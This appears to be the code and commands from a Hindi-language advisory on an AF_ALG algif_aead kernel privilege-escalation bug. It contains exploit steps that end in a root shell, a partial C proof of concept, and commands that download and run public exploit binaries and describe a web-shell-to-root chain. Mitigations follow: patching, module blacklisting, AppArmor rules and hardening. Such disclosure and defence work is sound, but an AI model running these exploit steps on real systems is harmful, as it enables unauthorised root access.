Buffer overflow → कर्नेल मेमोरी में सीमा से बाहर लेखन

algif_aead_copy_sgl()
  └─ sg_copy_to_buffer()
       └─ memcpy आंशिक रूप से उपयोगकर्ता-नियंत्रित पते की ओर

// यह सिस्टम का कोई भी उपयोगकर्ता कर सकता है
int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);

# कर्नेल संस्करण देखें
uname -r

# देखें कि असुरक्षित मॉड्यूल लोड है या नहीं
lsmod | grep algif_aead

# देखें कि AF_ALG उपलब्ध है या नहीं
cat /proc/net/protocols | grep ALG

$ uname -r
6.2.0-20-generic

$ lsmod | grep algif_aead
algif_aead             20480  0
af_alg                 32768  3 algif_aead,algif_skcipher,algif_hash

1. AF_ALG सॉकेट खोलें (algif_aead)
2. oversized बफर के साथ sendmsg() भेजें
3. छोटे बफर के साथ recvmsg() → बग ट्रिगर करें
4. कर्नेल heap में OOB लेखन
5. cred->uid/gid को 0 पर अधिलेखित करें
6. execve("/bin/sh") → root शेल

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/if_alg.h>

int main(void) {
    struct sockaddr_alg sa = {
        .salg_family = AF_ALG,
        .salg_type   = "aead",
        .salg_name   = "gcm(aes)",
        .salg_feat   = 0,
        .salg_mask   = 0,
    };

    int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
    bind(fd, (struct sockaddr *)&sa, sizeof(sa));

    // 16 बाइट की कुंजी कॉन्फ़िगर करें
    char key[16] = {0};
    setsockopt(fd, SOL_ALG, ALG_SET_KEY, key, sizeof(key));
    setsockopt(fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 16);

    int op_fd = accept(fd, NULL, NULL);

    // बड़ा बफर → OOB लेखन ट्रिगर करें
    char big_buf[4096] = {0};
    char small_buf[16] = {0};

    struct msghdr msg = {0};
    // ... ALG_OP_ENCRYPT के साथ cmsg का msghdr निर्माण
    sendmsg(op_fd, &msg, 0);

    // अपर्याप्त बफर के साथ recvmsg → कर्नेल सीमा से बाहर लिखता है
    recv(op_fd, small_buf, sizeof(small_buf), 0);

    // यदि शोषण सफल हुआ, अब हम root हैं
    if (getuid() == 0) {
        printf("[+] रूट प्राप्त हुआ!\n");
        execl("/bin/sh", "sh", NULL);
    }

    return 0;
}

# copy-fail-c क्लोन और संकलित करें
git clone https://github.com/tgies/copy-fail-c
cd copy-fail-c
make
./copyfail

# असुरक्षित सिस्टम पर अपेक्षित परिणाम:
# [*] algif_aead मॉड्यूल की जाँच...
# [*] heap स्प्रे तैयार...
# [+] OOB लेखन सफल
# [+] UID अब: 0
# # whoami
# root

wget https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431/raw/main/copyfail
chmod +x copyfail
./copyfail

बाहरी हमलावर
      │
      ▼
वेब भेद्यता का शोषण (RCE) → www-data के रूप में पहुंच
      │
      ▼
copyfail को सर्वर पर अपलोड करें (wget/curl)
      │
      ▼
./copyfail निष्पादित करें
      │
      ▼
सर्वर पर root शेल ✓

# विकल्प 1: Ubuntu 24.04 LTS में अपग्रेड करें (अनुशंसित)
do-release-upgrade

# विकल्प 2: यदि आपके पास पहले से Ubuntu 22.04 LTS है
sudo apt update && sudo apt dist-upgrade
sudo reboot
# पैच किए गए कर्नेल की जांच करें
uname -r   # Ubuntu 22.04 पर ≥ 5.15.0-107 होना चाहिए

# मॉड्यूल की ब्लैकलिस्ट बनाएं
echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/blacklist-algif-aead.conf

# स्थायी बनाने के लिए initramfs पुनर्जनरेट करें
sudo update-initramfs -u

# रिबूट करें
sudo reboot

lsmod | grep algif_aead
# कुछ भी दिखाई नहीं देना चाहिए

# अनप्रिविलेज्ड यूज़र नेमस्पेस अक्षम करें (Docker की कुछ सुविधाएं तोड़ता है)
sudo sysctl -w kernel.unprivileged_userns_clone=0

# स्थायी बनाएं
echo "kernel.unprivileged_userns_clone=0" | sudo tee -a /etc/sysctl.d/99-hardening.conf
sudo sysctl -p /etc/sysctl.d/99-hardening.conf

# /etc/apparmor.d/local/restrict-af-alg
network af_alg,   # विशिष्ट प्रोफ़ाइलों में अस्वीकार करें

# www-data या nginx के AppArmor प्रोफ़ाइल में जोड़ें
# deny network af_alg,
sudo apparmor_parser -r /etc/apparmor.d/usr.sbin.nginx

# सत्यापित करें कि www-data के पास sudo नहीं है
sudo grep www-data /etc/sudoers

# अनावश्यक SUID बाइनरी हटाएं
find / -perm -4000 2>/dev/null

# सुलभ निर्देशिकाओं को प्रतिबंधित करें
chmod 700 /root
chmod 750 /home/*